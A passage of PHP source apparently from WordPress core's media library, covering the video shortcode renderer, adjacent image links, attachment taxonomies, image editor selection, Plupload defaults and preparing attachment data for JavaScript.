	 * @param string $content  Video shortcode content.
	 * @param int    $instance Unique numeric ID of this video shortcode instance.
	 */
	$override = apply_filters( 'wp_video_shortcode_override', '', $attr, $content, $instance );

	if ( '' !== $override ) {
		return $override;
	}

	$video = null;

	$default_types = wp_get_video_extensions();
	$defaults_atts = array(
		'src'      => '',
		'poster'   => '',
		'loop'     => '',
		'autoplay' => '',
		'muted'    => 'false',
		'preload'  => 'metadata',
		'width'    => 640,
		'height'   => 360,
		'class'    => 'wp-video-shortcode',
	);

	foreach ( $default_types as $type ) {
		$defaults_atts[ $type ] = '';
	}

	$atts = shortcode_atts( $defaults_atts, $attr, 'video' );

	if ( is_admin() ) {
		// Shrink the video so it isn't huge in the admin.
		if ( $atts['width'] > $defaults_atts['width'] ) {
			$atts['height'] = round( ( $atts['height'] * $defaults_atts['width'] ) / $atts['width'] );
			$atts['width']  = $defaults_atts['width'];
		}
	} else {
		// If the video is bigger than the theme.
		if ( ! empty( $content_width ) && $atts['width'] > $content_width ) {
			$atts['height'] = round( ( $atts['height'] * $content_width ) / $atts['width'] );
			$atts['width']  = $content_width;
		}
	}

	$is_vimeo      = false;
	$is_youtube    = false;
	$yt_pattern    = '#^https?://(?:www\.)?(?:youtube\.com/watch|youtu\.be/)#';
	$vimeo_pattern = '#^https?://(.+\.)?vimeo\.com/.*#';

	$primary = false;
	if ( ! empty( $atts['src'] ) ) {
		$is_vimeo   = ( preg_match( $vimeo_pattern, $atts['src'] ) );
		$is_youtube = ( preg_match( $yt_pattern, $atts['src'] ) );

		if ( ! $is_youtube && ! $is_vimeo ) {
			$type = wp_check_filetype( $atts['src'], wp_get_mime_types() );

			if ( ! in_array( strtolower( $type['ext'] ), $default_types, true ) ) {
				return sprintf( '<a class="wp-embedded-video" href="%s">%s</a>', esc_url( $atts['src'] ), esc_html( $atts['src'] ) );
			}
		}

		if ( $is_vimeo ) {
			wp_enqueue_script( 'mediaelement-vimeo' );
		}

		$primary = true;
		array_unshift( $default_types, 'src' );
	} else {
		foreach ( $default_types as $ext ) {
			if ( ! empty( $atts[ $ext ] ) ) {
				$type = wp_check_filetype( $atts[ $ext ], wp_get_mime_types() );
				if ( strtolower( $type['ext'] ) === $ext ) {
					$primary = true;
				}
			}
		}
	}

	if ( ! $primary ) {
		$videos = get_attached_media( 'video', $post_id );
		if ( empty( $videos ) ) {
			return;
		}

		$video       = reset( $videos );
		$atts['src'] = wp_get_attachment_url( $video->ID );
		if ( empty( $atts['src'] ) ) {
			return;
		}

		array_unshift( $default_types, 'src' );
	}

	/**
	 * Filters the media library used for the video shortcode.
	 *
	 * @since 3.6.0
	 *
	 * @param string $library Media library used for the video shortcode.
	 */
	$library = apply_filters( 'wp_video_shortcode_library', 'mediaelement' );
	if ( 'mediaelement' === $library && did_action( 'init' ) ) {
		wp_enqueue_style( 'wp-mediaelement' );
		wp_enqueue_script( 'wp-mediaelement' );
		wp_enqueue_script( 'mediaelement-vimeo' );
	}

	/*
	 * MediaElement.js has issues with some URL formats for Vimeo and YouTube,
	 * so update the URL to prevent the ME.js player from breaking.
	 */
	if ( 'mediaelement' === $library ) {
		if ( $is_youtube ) {
			// Remove `feature` query arg and force SSL - see #40866.
			$atts['src'] = remove_query_arg( 'feature', $atts['src'] );
			$atts['src'] = set_url_scheme( $atts['src'], 'https' );
		} elseif ( $is_vimeo ) {
			// Remove all query arguments and force SSL - see #40866.
			$parsed_vimeo_url = wp_parse_url( $atts['src'] );
			$vimeo_src        = 'https://' . $parsed_vimeo_url['host'] . $parsed_vimeo_url['path'];

			// Add loop param for mejs bug - see #40977, not needed after #39686.
			$loop        = $atts['loop'] ? '1' : '0';
			$atts['src'] = add_query_arg( 'loop', $loop, $vimeo_src );
		}
	}

	/**
	 * Filters the class attribute for the video shortcode output container.
	 *
	 * @since 3.6.0
	 * @since 4.9.0 The `$atts` parameter was added.
	 *
	 * @param string $class CSS class or list of space-separated classes.
	 * @param array  $atts  Array of video shortcode attributes.
	 */
	$atts['class'] = apply_filters( 'wp_video_shortcode_class', $atts['class'], $atts );

	$html_atts = array(
		'class'    => $atts['class'],
		'id'       => sprintf( 'video-%d-%d', $post_id, $instance ),
		'width'    => absint( $atts['width'] ),
		'height'   => absint( $atts['height'] ),
		'poster'   => esc_url( $atts['poster'] ),
		'loop'     => wp_validate_boolean( $atts['loop'] ),
		'autoplay' => wp_validate_boolean( $atts['autoplay'] ),
		'muted'    => wp_validate_boolean( $atts['muted'] ),
		'preload'  => $atts['preload'],
	);

	// These ones should just be omitted altogether if they are blank.
	foreach ( array( 'poster', 'loop', 'autoplay', 'preload', 'muted' ) as $a ) {
		if ( empty( $html_atts[ $a ] ) ) {
			unset( $html_atts[ $a ] );
		}
	}

	$attr_strings = array();
	foreach ( $html_atts as $k => $v ) {
		$attr_strings[] = $k . '="' . esc_attr( $v ) . '"';
	}

	$html = '';

	if ( 'mediaelement' === $library && 1 === $instance ) {
		$html .= "<!--[if lt IE 9]><script>document.createElement('video');</script><![endif]-->\n";
	}

	$html .= sprintf( '<video %s controls="controls">', implode( ' ', $attr_strings ) );

	$fileurl = '';
	$source  = '<source type="%s" src="%s" />';

	foreach ( $default_types as $fallback ) {
		if ( ! empty( $atts[ $fallback ] ) ) {
			if ( empty( $fileurl ) ) {
				$fileurl = $atts[ $fallback ];
			}
			if ( 'src' === $fallback && $is_youtube ) {
				$type = array( 'type' => 'video/youtube' );
			} elseif ( 'src' === $fallback && $is_vimeo ) {
				$type = array( 'type' => 'video/vimeo' );
			} else {
				$type = wp_check_filetype( $atts[ $fallback ], wp_get_mime_types() );
			}
			$url   = add_query_arg( '_', $instance, $atts[ $fallback ] );
			$html .= sprintf( $source, $type['type'], esc_url( $url ) );
		}
	}

	if ( ! empty( $content ) ) {
		if ( str_contains( $content, "\n" ) ) {
			$content = str_replace( array( "\r\n", "\n", "\t" ), '', $content );
		}
		$html .= trim( $content );
	}

	if ( 'mediaelement' === $library ) {
		$html .= wp_mediaelement_fallback( $fileurl );
	}
	$html .= '</video>';

	$width_rule = '';
	if ( ! empty( $atts['width'] ) ) {
		$width_rule = sprintf( 'width: %dpx;', $atts['width'] );
	}
	$output = sprintf( '<div style="%s" class="wp-video">%s</div>', $width_rule, $html );

	/**
	 * Filters the output of the video shortcode.
	 *
	 * @since 3.6.0
	 *
	 * @param string $output  Video shortcode HTML output.
	 * @param array  $atts    Array of video shortcode attributes.
	 * @param string $video   Video file.
	 * @param int    $post_id Post ID.
	 * @param string $library Media library used for the video shortcode.
	 */
	return apply_filters( 'wp_video_shortcode', $output, $atts, $video, $post_id, $library );
}
add_shortcode( 'video', 'wp_video_shortcode' );

/**
 * Gets the previous image link that has the same post parent.
 *
 * @since 5.8.0
 *
 * @see get_adjacent_image_link()
 *
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param string|false $text Optional. Link text. Default false.
 * @return string Markup for previous image link.
 */
function get_previous_image_link( $size = 'thumbnail', $text = false ) {
	return get_adjacent_image_link( true, $size, $text );
}

/**
 * Displays previous image link that has the same post parent.
 *
 * @since 2.5.0
 *
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param string|false $text Optional. Link text. Default false.
 */
function previous_image_link( $size = 'thumbnail', $text = false ) {
	echo get_previous_image_link( $size, $text );
}

/**
 * Gets the next image link that has the same post parent.
 *
 * @since 5.8.0
 *
 * @see get_adjacent_image_link()
 *
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param string|false $text Optional. Link text. Default false.
 * @return string Markup for next image link.
 */
function get_next_image_link( $size = 'thumbnail', $text = false ) {
	return get_adjacent_image_link( false, $size, $text );
}

/**
 * Displays next image link that has the same post parent.
 *
 * @since 2.5.0
 *
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param string|false $text Optional. Link text. Default false.
 */
function next_image_link( $size = 'thumbnail', $text = false ) {
	echo get_next_image_link( $size, $text );
}

/**
 * Gets the next or previous image link that has the same post parent.
 *
 * Retrieves the current attachment object from the $post global.
 *
 * @since 5.8.0
 *
 * @param bool         $prev Optional. Whether to display the next (false) or previous (true) link. Default true.
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param bool         $text Optional. Link text. Default false.
 * @return string Markup for image link.
 */
function get_adjacent_image_link( $prev = true, $size = 'thumbnail', $text = false ) {
	$post        = get_post();
	$attachments = array_values(
		get_children(
			array(
				'post_parent'    => $post->post_parent,
				'post_status'    => 'inherit',
				'post_type'      => 'attachment',
				'post_mime_type' => 'image',
				'order'          => 'ASC',
				'orderby'        => 'menu_order ID',
			)
		)
	);

	foreach ( $attachments as $k => $attachment ) {
		if ( (int) $attachment->ID === (int) $post->ID ) {
			break;
		}
	}

	$output        = '';
	$attachment_id = 0;

	if ( $attachments ) {
		$k = $prev ? $k - 1 : $k + 1;

		if ( isset( $attachments[ $k ] ) ) {
			$attachment_id = $attachments[ $k ]->ID;
			$attr          = array( 'alt' => get_the_title( $attachment_id ) );
			$output        = wp_get_attachment_link( $attachment_id, $size, true, false, $text, $attr );
		}
	}

	$adjacent = $prev ? 'previous' : 'next';

	/**
	 * Filters the adjacent image link.
	 *
	 * The dynamic portion of the hook name, `$adjacent`, refers to the type of adjacency,
	 * either 'next', or 'previous'.
	 *
	 * Possible hook names include:
	 *
	 *  - `next_image_link`
	 *  - `previous_image_link`
	 *
	 * @since 3.5.0
	 *
	 * @param string $output        Adjacent image HTML markup.
	 * @param int    $attachment_id Attachment ID
	 * @param string|int[] $size    Requested image size. Can be any registered image size name, or
	 *                              an array of width and height values in pixels (in that order).
	 * @param string $text          Link text.
	 */
	return apply_filters( "{$adjacent}_image_link", $output, $attachment_id, $size, $text );
}

/**
 * Displays next or previous image link that has the same post parent.
 *
 * Retrieves the current attachment object from the $post global.
 *
 * @since 2.5.0
 *
 * @param bool         $prev Optional. Whether to display the next (false) or previous (true) link. Default true.
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param bool         $text Optional. Link text. Default false.
 */
function adjacent_image_link( $prev = true, $size = 'thumbnail', $text = false ) {
	echo get_adjacent_image_link( $prev, $size, $text );
}

/**
 * Retrieves taxonomies attached to given the attachment.
 *
 * @since 2.5.0
 * @since 4.7.0 Introduced the `$output` parameter.
 *
 * @param int|array|object $attachment Attachment ID, data array, or data object.
 * @param string           $output     Output type. 'names' to return an array of taxonomy names,
 *                                     or 'objects' to return an array of taxonomy objects.
 *                                     Default is 'names'.
 * @return string[]|WP_Taxonomy[] List of taxonomies or taxonomy names. Empty array on failure.
 */
function get_attachment_taxonomies( $attachment, $output = 'names' ) {
	if ( is_int( $attachment ) ) {
		$attachment = get_post( $attachment );
	} elseif ( is_array( $attachment ) ) {
		$attachment = (object) $attachment;
	}

	if ( ! is_object( $attachment ) ) {
		return array();
	}

	$file     = get_attached_file( $attachment->ID );
	$filename = wp_basename( $file );

	$objects = array( 'attachment' );

	if ( str_contains( $filename, '.' ) ) {
		$objects[] = 'attachment:' . substr( $filename, strrpos( $filename, '.' ) + 1 );
	}

	if ( ! empty( $attachment->post_mime_type ) ) {
		$objects[] = 'attachment:' . $attachment->post_mime_type;

		if ( str_contains( $attachment->post_mime_type, '/' ) ) {
			foreach ( explode( '/', $attachment->post_mime_type ) as $token ) {
				if ( ! empty( $token ) ) {
					$objects[] = "attachment:$token";
				}
			}
		}
	}

	$taxonomies = array();

	foreach ( $objects as $object ) {
		$taxes = get_object_taxonomies( $object, $output );

		if ( $taxes ) {
			$taxonomies = array_merge( $taxonomies, $taxes );
		}
	}

	if ( 'names' === $output ) {
		$taxonomies = array_unique( $taxonomies );
	}

	return $taxonomies;
}

/**
 * Retrieves all of the taxonomies that are registered for attachments.
 *
 * Handles mime-type-specific taxonomies such as attachment:image and attachment:video.
 *
 * @since 3.5.0
 *
 * @see get_taxonomies()
 *
 * @param string $output Optional. The type of taxonomy output to return. Accepts 'names' or 'objects'.
 *                       Default 'names'.
 * @return string[]|WP_Taxonomy[] Array of names or objects of registered taxonomies for attachments.
 */
function get_taxonomies_for_attachments( $output = 'names' ) {
	$taxonomies = array();

	foreach ( get_taxonomies( array(), 'objects' ) as $taxonomy ) {
		foreach ( $taxonomy->object_type as $object_type ) {
			if ( 'attachment' === $object_type || str_starts_with( $object_type, 'attachment:' ) ) {
				if ( 'names' === $output ) {
					$taxonomies[] = $taxonomy->name;
				} else {
					$taxonomies[ $taxonomy->name ] = $taxonomy;
				}
				break;
			}
		}
	}

	return $taxonomies;
}

/**
 * Determines whether the value is an acceptable type for GD image functions.
 *
 * In PHP 8.0, the GD extension uses GdImage objects for its data structures.
 * This function checks if the passed value is either a GdImage object instance
 * or a resource of type `gd`. Any other type will return false.
 *
 * @since 5.6.0
 *
 * @param resource|GdImage|false $image A value to check the type for.
 * @return bool True if `$image` is either a GD image resource or a GdImage instance,
 *              false otherwise.
 */
function is_gd_image( $image ) {
	if ( $image instanceof GdImage
		|| is_resource( $image ) && 'gd' === get_resource_type( $image )
	) {
		return true;
	}

	return false;
}

/**
 * Creates a new GD image resource with transparency support.
 *
 * @todo Deprecate if possible.
 *
 * @since 2.9.0
 *
 * @param int $width  Image width in pixels.
 * @param int $height Image height in pixels.
 * @return resource|GdImage|false The GD image resource or GdImage instance on success.
 *                                False on failure.
 */
function wp_imagecreatetruecolor( $width, $height ) {
	$img = imagecreatetruecolor( $width, $height );

	if ( is_gd_image( $img )
		&& function_exists( 'imagealphablending' ) && function_exists( 'imagesavealpha' )
	) {
		imagealphablending( $img, false );
		imagesavealpha( $img, true );
	}

	return $img;
}

/**
 * Based on a supplied width/height example, returns the biggest possible dimensions based on the max width/height.
 *
 * @since 2.9.0
 *
 * @see wp_constrain_dimensions()
 *
 * @param int $example_width  The width of an example embed.
 * @param int $example_height The height of an example embed.
 * @param int $max_width      The maximum allowed width.
 * @param int $max_height     The maximum allowed height.
 * @return int[] {
 *     An array of maximum width and height values.
 *
 *     @type int $0 The maximum width in pixels.
 *     @type int $1 The maximum height in pixels.
 * }
 */
function wp_expand_dimensions( $example_width, $example_height, $max_width, $max_height ) {
	$example_width  = (int) $example_width;
	$example_height = (int) $example_height;
	$max_width      = (int) $max_width;
	$max_height     = (int) $max_height;

	return wp_constrain_dimensions( $example_width * 1000000, $example_height * 1000000, $max_width, $max_height );
}

/**
 * Determines the maximum upload size allowed in php.ini.
 *
 * @since 2.5.0
 *
 * @return int Allowed upload size.
 */
function wp_max_upload_size() {
	$u_bytes = wp_convert_hr_to_bytes( ini_get( 'upload_max_filesize' ) );
	$p_bytes = wp_convert_hr_to_bytes( ini_get( 'post_max_size' ) );

	/**
	 * Filters the maximum upload size allowed in php.ini.
	 *
	 * @since 2.5.0
	 *
	 * @param int $size    Max upload size limit in bytes.
	 * @param int $u_bytes Maximum upload filesize in bytes.
	 * @param int $p_bytes Maximum size of POST data in bytes.
	 */
	return apply_filters( 'upload_size_limit', min( $u_bytes, $p_bytes ), $u_bytes, $p_bytes );
}

/**
 * Returns a WP_Image_Editor instance and loads file into it.
 *
 * @since 3.5.0
 *
 * @param string $path Path to the file to load.
 * @param array  $args Optional. Additional arguments for retrieving the image editor.
 *                     Default empty array.
 * @return WP_Image_Editor|WP_Error The WP_Image_Editor object on success,
 *                                  a WP_Error object otherwise.
 */
function wp_get_image_editor( $path, $args = array() ) {
	$args['path'] = $path;

	// If the mime type is not set in args, try to extract and set it from the file.
	if ( ! isset( $args['mime_type'] ) ) {
		$file_info = wp_check_filetype( $args['path'] );

		/*
		 * If $file_info['type'] is false, then we let the editor attempt to
		 * figure out the file type, rather than forcing a failure based on extension.
		 */
		if ( isset( $file_info ) && $file_info['type'] ) {
			$args['mime_type'] = $file_info['type'];
		}
	}

	// Check and set the output mime type mapped to the input type.
	if ( isset( $args['mime_type'] ) ) {
		/** This filter is documented in wp-includes/class-wp-image-editor.php */
		$output_format = apply_filters( 'image_editor_output_format', array(), $path, $args['mime_type'] );
		if ( isset( $output_format[ $args['mime_type'] ] ) ) {
			$args['output_mime_type'] = $output_format[ $args['mime_type'] ];
		}
	}

	$implementation = _wp_image_editor_choose( $args );

	if ( $implementation ) {
		$editor = new $implementation( $path );
		$loaded = $editor->load();

		if ( is_wp_error( $loaded ) ) {
			return $loaded;
		}

		return $editor;
	}

	return new WP_Error( 'image_no_editor', __( 'No editor could be selected.' ) );
}

/**
 * Tests whether there is an editor that supports a given mime type or methods.
 *
 * @since 3.5.0
 *
 * @param string|array $args Optional. Array of arguments to retrieve the image editor supports.
 *                           Default empty array.
 * @return bool True if an eligible editor is found; false otherwise.
 */
function wp_image_editor_supports( $args = array() ) {
	return (bool) _wp_image_editor_choose( $args );
}

/**
 * Tests which editors are capable of supporting the request.
 *
 * @ignore
 * @since 3.5.0
 *
 * @param array $args Optional. Array of arguments for choosing a capable editor. Default empty array.
 * @return string|false Class name for the first editor that claims to support the request.
 *                      False if no editor claims to support the request.
 */
function _wp_image_editor_choose( $args = array() ) {
	require_once ABSPATH . WPINC . '/class-wp-image-editor.php';
	require_once ABSPATH . WPINC . '/class-wp-image-editor-gd.php';
	require_once ABSPATH . WPINC . '/class-wp-image-editor-imagick.php';
	require_once ABSPATH . WPINC . '/class-avif-info.php';
	/**
	 * Filters the list of image editing library classes.
	 *
	 * @since 3.5.0
	 *
	 * @param string[] $image_editors Array of available image editor class names. Defaults are
	 *                                'WP_Image_Editor_Imagick', 'WP_Image_Editor_GD'.
	 */
	$implementations = apply_filters( 'wp_image_editors', array( 'WP_Image_Editor_Imagick', 'WP_Image_Editor_GD' ) );
	$supports_input  = false;

	foreach ( $implementations as $implementation ) {
		if ( ! call_user_func( array( $implementation, 'test' ), $args ) ) {
			continue;
		}

		// Implementation should support the passed mime type.
		if ( isset( $args['mime_type'] ) &&
			! call_user_func(
				array( $implementation, 'supports_mime_type' ),
				$args['mime_type']
			) ) {
			continue;
		}

		// Implementation should support requested methods.
		if ( isset( $args['methods'] ) &&
			array_diff( $args['methods'], get_class_methods( $implementation ) ) ) {

			continue;
		}

		// Implementation should ideally support the output mime type as well if set and different than the passed type.
		if (
			isset( $args['mime_type'] ) &&
			isset( $args['output_mime_type'] ) &&
			$args['mime_type'] !== $args['output_mime_type'] &&
			! call_user_func( array( $implementation, 'supports_mime_type' ), $args['output_mime_type'] )
		) {
			/*
			 * This implementation supports the input type but not the output type.
			 * Keep looking to see if we can find an implementation that supports both.
			 */
			$supports_input = $implementation;
			continue;
		}

		// Favor the implementation that supports both input and output mime types.
		return $implementation;
	}

	return $supports_input;
}

/**
 * Prints default Plupload arguments.
 *
 * @since 3.4.0
 */
function wp_plupload_default_settings() {
	$wp_scripts = wp_scripts();

	$data = $wp_scripts->get_data( 'wp-plupload', 'data' );
	if ( $data && str_contains( $data, '_wpPluploadSettings' ) ) {
		return;
	}

	$max_upload_size    = wp_max_upload_size();
	$allowed_extensions = array_keys( get_allowed_mime_types() );
	$extensions         = array();
	foreach ( $allowed_extensions as $extension ) {
		$extensions = array_merge( $extensions, explode( '|', $extension ) );
	}

	/*
	 * Since 4.9 the `runtimes` setting is hardcoded in our version of Plupload to `html5,html4`,
	 * and the `flash_swf_url` and `silverlight_xap_url` are not used.
	 */
	$defaults = array(
		'file_data_name' => 'async-upload', // Key passed to $_FILE.
		'url'            => admin_url( 'async-upload.php', 'relative' ),
		'filters'        => array(
			'max_file_size' => $max_upload_size . 'b',
			'mime_types'    => array( array( 'extensions' => implode( ',', $extensions ) ) ),
		),
	);

	/*
	 * Currently only iOS Safari supports multiple files uploading,
	 * but iOS 7.x has a bug that prevents uploading of videos when enabled.
	 * See #29602.
	 */
	if ( wp_is_mobile()
		&& str_contains( $_SERVER['HTTP_USER_AGENT'], 'OS 7_' )
		&& str_contains( $_SERVER['HTTP_USER_AGENT'], 'like Mac OS X' )
	) {
		$defaults['multi_selection'] = false;
	}

	// Check if WebP images can be edited.
	if ( ! wp_image_editor_supports( array( 'mime_type' => 'image/webp' ) ) ) {
		$defaults['webp_upload_error'] = true;
	}

	// Check if AVIF images can be edited.
	if ( ! wp_image_editor_supports( array( 'mime_type' => 'image/avif' ) ) ) {
		$defaults['avif_upload_error'] = true;
	}

	/**
	 * Filters the Plupload default settings.
	 *
	 * @since 3.4.0
	 *
	 * @param array $defaults Default Plupload settings array.
	 */
	$defaults = apply_filters( 'plupload_default_settings', $defaults );

	$params = array(
		'action' => 'upload-attachment',
	);

	/**
	 * Filters the Plupload default parameters.
	 *
	 * @since 3.4.0
	 *
	 * @param array $params Default Plupload parameters array.
	 */
	$params = apply_filters( 'plupload_default_params', $params );

	$params['_wpnonce'] = wp_create_nonce( 'media-form' );

	$defaults['multipart_params'] = $params;

	$settings = array(
		'defaults'      => $defaults,
		'browser'       => array(
			'mobile'    => wp_is_mobile(),
			'supported' => _device_can_upload(),
		),
		'limitExceeded' => is_multisite() && ! is_upload_space_available(),
	);

	$script = 'var _wpPluploadSettings = ' . wp_json_encode( $settings ) . ';';

	if ( $data ) {
		$script = "$data\n$script";
	}

	$wp_scripts->add_data( 'wp-plupload', 'data', $script );
}

/**
 * Prepares an attachment post object for JS, where it is expected
 * to be JSON-encoded and fit into an Attachment model.
 *
 * @since 3.5.0
 *
 * @param int|WP_Post $attachment Attachment ID or object.
 * @return array|void {
 *     Array of attachment details, or void if the parameter does not correspond to an attachment.
 *
 *     @type string $alt                   Alt text of the attachment.
 *     @type string $author                ID of the attachment author, as a string.
 *     @type string $authorName            Name of the attachment author.
 *     @type string $caption               Caption for the attachment.
 *     @type array  $compat                Containing item and meta.
 *     @type string $context               Context, whether it's used as the site icon for example.
 *     @type int    $date                  Uploaded date, timestamp in milliseconds.
 *     @type string $dateFormatted         Formatted date (e.g. June 29, 2018).
 *     @type string $description           Description of the attachment.
 *     @type string $editLink              URL to the edit page for the attachment.
 *     @type string $filename              File name of the attachment.
 *     @type string $filesizeHumanReadable Filesize of the attachment in human readable format (e.g. 1 MB).
 *     @type int    $filesizeInBytes       Filesize of the attachment in bytes.
 *     @type int    $height                If the attachment is an image, represents the height of the image in pixels.
 *     @type string $icon                  Icon URL of the attachment (e.g. /wp-includes/images/media/archive.png).
 *     @type int    $id                    ID of the attachment.
 *     @type string $link                  URL to the attachment.
 *     @type int    $menuOrder             Menu order of the attachment post.
 *     @type array  $meta                  Meta data for the attachment.
 *     @type string $mime                  Mime type of the attachment (e.g. image/jpeg or application/zip).
 *     @type int    $modified              Last modified, timestamp in milliseconds.
 *     @type string $name                  Name, same as title of the attachment.
 *     @type array  $nonces                Nonces for update, delete and edit.
 *     @type string $orientation           If the attachment is an image, represents the image orientation
 *                                         (landscape or portrait).
 *     @type array  $sizes                 If the attachment is an image, contains an array of arrays
 *                                         for the images sizes: thumbnail, medium, large, and full.
 *     @type string $status                Post status of the attachment (usually 'inherit').
 *     @type string $subtype               Mime subtype of the attachment (usually the last part, e.g. jpeg or zip).
 *     @type string $title                 Title of the attachment (usually slugified file name without the extension).
 *     @type string $type                  Type of the attachment (usually first part of the mime type, e.g. image).
 *     @type int    $uploadedTo            Parent post to which the attachment was uploaded.
 *     @type string $uploadedToLink        URL to the edit page of the parent post of the attachment.
 *     @type string $uploadedToTitle       Post title of the parent of the attachment.
 *     @type string $url                   Direct URL to the attachment file (from wp-content).
 *     @type int    $width                 If the attachment is an image, represents the width of the image in pixels.
 * }
 *
 */
function wp_prepare_attachment_for_js( $attachment ) {
	$attachment = get_post( $attachment );

	if ( ! $attachment ) {
		return;
	}

	if ( 'attachment' !== $attachment->post_type ) {
		return;
	}

	$meta = wp_get_attachment_metadata( $attachment->ID );
	if ( str_contains( $attachment->post_mime_type, '/' ) ) {
		list( $type, $subtype ) = explode( '/', $attachment->post_mime_type );
	} else {
		list( $type, $subtype ) = array( $attachment->post_mime_type, '' );
	}

	$attachment_url = wp_get_attachment_url( $attachment->ID );
	$base_url       = str_replace( wp_basename( $attachment_url ), '', $attachment_url );

	$response = array(
		'id'            => $attachment->ID,
		'title'         => $attachment->post_title,
		'filename'      => wp_basename( get_attached_file( $attachment->ID ) ),
		'url'           => $attachment_url,
		'link'          => get_attachment_link( $attachment->ID ),
		'alt'           => get_post_meta( $attachment->ID, '_wp_attachment_image_alt', true ),
		'author'        => $attachment->post_author,
		'description'   => $attachment->post_content,
		'caption'       => $attachment->post_excerpt,
		'name'          => $attachment->post_name,
		'status'        => $attachment->post_status,
		'uploadedTo'    => $attachment->post_parent,
		'date'          => strtotime( $attachment->post_date_gmt ) * 1000,
		'modified'      => strtotime( $attachment->post_modified_gmt ) * 1000,
		'menuOrder'     => $attachment->menu_order,
		'mime'          => $attachment->post_mime_type,
		'type'          => $type,
		'subtype'       => $subtype,
		'icon'          => wp_mime_type_icon( $attachment->ID, '.svg' ),
		'dateFormatted' => mysql2date( __( 'F j, Y' ), $attachment->post_date ),
		'nonces'        => array(
			'update' => false,
			'delete' => false,
			'edit'   => false,
		),
		'editLink'      => false,
		'meta'          => false,
	);

	$author = new WP_User( $attachment->post_author );

	if ( $author->exists() ) {
		$author_name            = $author->display_name ? $author->display_name : $author->nickname;
		$response['authorName'] = html_entity_decode( $author_name, ENT_QUOTES, get_bloginfo( 'charset' ) );
		$response['authorLink'] = get_edit_user_link( $author->ID );
	} else {
		$response['authorName'] = __( '(no author)' );
	}

	if ( $attachment->post_parent ) {
		$post_parent = get_post( $attachment->post_parent );
		if ( $post_parent ) {
			$response['uploadedToTitle'] = $post_parent->post_title ? $post_parent->post_title : __( '(no title)' );
			$response['uploadedToLink']  = get_edit_post_link( $attachment->post_parent, 'raw' );
		}
	}

	$attached_file = get_attached_file( $attachment->ID );

	if ( isset( $meta['filesize'] ) ) {
		$bytes = $meta['filesize'];
	} elseif ( file_exists( $attached_file ) ) {
		$bytes = wp_filesize( $attached_file );
	} else {
		$bytes = '';
	}

	if ( $bytes ) {
		$response['filesizeInBytes']       = $bytes;
		$response['filesizeHumanReadable'] = size_format( $bytes );
	}

	$context             = get_post_meta( $attachment->ID, '_wp_attachment_context', true );
	$response['context'] = ( $context ) ? $context : '';

	if ( current_user_can( 'edit_post', $attachment->ID ) ) {
		$response['nonces']['update'] = wp_create_nonce( 'update-post_' . $attachment->ID );
		$response['nonces']['edit']   = wp_create_nonce( 'image_editor-' . $attachment->ID );
		$response['editLink']         = get_edit_post_link( $attachment->ID, 'raw' );
	}

	if ( current_user_can( 'delete_post', $attachment->ID ) ) {
		$response['nonces']['delete'] = wp_create_nonce( 'delete-post_' . $attachment->ID );
	}

	if ( $meta && ( 'image' === $type || ! empty( $meta['sizes'] ) ) ) {
		$sizes = array();

		/** This filter is documented in wp-admin/includes/media.php */
		$possible_sizes = apply_filters(
			'image_size_names_choose',
			array(
				'thumbnail' => __( 'Thumbnail' ),
				'medium'    => __( 'Medium' ),
				'large'     => __( 'Large' ),
				'full'      => __( 'Full Size' ),
			)
		);
		unset( $possible_sizes['full'] );

		/*
		 * Loop through all potential sizes that may be chosen. Try to do this with some efficiency.
		 * First: run the image_downsize filter. If it returns something, we can use its data.
		 * If the filter does not return something, then image_downsize() is just an expensive way
		 * to check the image metadata, which we do second.
		 */
		foreach ( $possible_sizes as $size => $label ) {

			/** This filter is documented in wp-includes/media.php */
			$downsize = apply_filters( 'image_downsize', false, $attachment->ID, $size );

			if ( $downsize ) {
				if ( empty( $downsize[3] ) ) {
					continue;
				}

				$sizes[ $size ] = array(
					'height'      => $downsize[2],
					'width'       => $downsize[1],
					'url'         => $downsize[0],
					'orientation' => $downsize[2] > $downsize[1] ? 'portrait' : 'landscape',
				);
			} elseif ( isset( $meta['sizes'][ $size ] ) ) {
				// Nothing from the filter, so consult image metadata if we have it.
				$size_meta = $meta['sizes'][ $size ];

				/*
				 * We have the actual image size, but might need to further constrain it if content_width is narrower.
				 * Thumbnail, medium, and full sizes are also checked against the site's height/width options.
				 */
				list( $width, $height ) = image_constrain_size_for_editor( $size_meta['width'], $size_meta['height'], $size, 'edit' );

				$sizes[ $size ] = array(
					'height'      => $height,
					'width'       => $width,
					'url'         => $base_url . $size_meta['file'],
					'orientation' => $height > $width ? 'portrait' : 'landscape',
				);
			}
		}

		if ( 'image' === $type ) {
			if ( ! empty( $meta['original_image'] ) ) {
				$response['originalImageURL']  = wp_get_original_image_url( $attachment->ID );
				$response['originalImageName'] = wp_basename( wp_get_original_image_path( $attachment->ID ) );
			}

			$sizes['full'] = array( 'url' => $attachment_url );

			if ( isset( $meta['height'], $meta['width'] ) ) {
				$sizes['full']['height']      = $meta['height'];
				$sizes['full']['width']       = $meta['width'];
				$sizes['full']['orientation'] = $meta['height'] > $meta['width'] ? 'portrait' : 'landscape';
			}

			$response = array_merge( $response, $sizes['full'] );
		} elseif ( $meta['sizes']['full']['file'] ) {
			$sizes['full'] = array(
				'url'         => $base_url . $meta['sizes']['full']['file'],
				'height'      => $meta['sizes']['full']['height'],
				'width'       => $meta['sizes']['full']['width'],
				'orientation' => $meta['sizes']['full']['height'] > $meta['sizes']['full']['width'] ? 'portrait' : 'landscape',
			);
		}

		$response = array_merge( $response, array( 'sizes' => $sizes ) );
	}

	if ( $meta && 'video' === $type ) {
		if ( isset( $meta['width'] ) ) {
			$response['width'] = (int) $meta['width'];
		}
		if ( isset( $meta['height'] ) ) {
			$response['height'] = (int) $meta['height'];
		}
	}

	if ( $meta && ( 'audio' === $type || 'video' === $type ) ) {
		if ( isset( $meta['length_formatted'] ) ) {
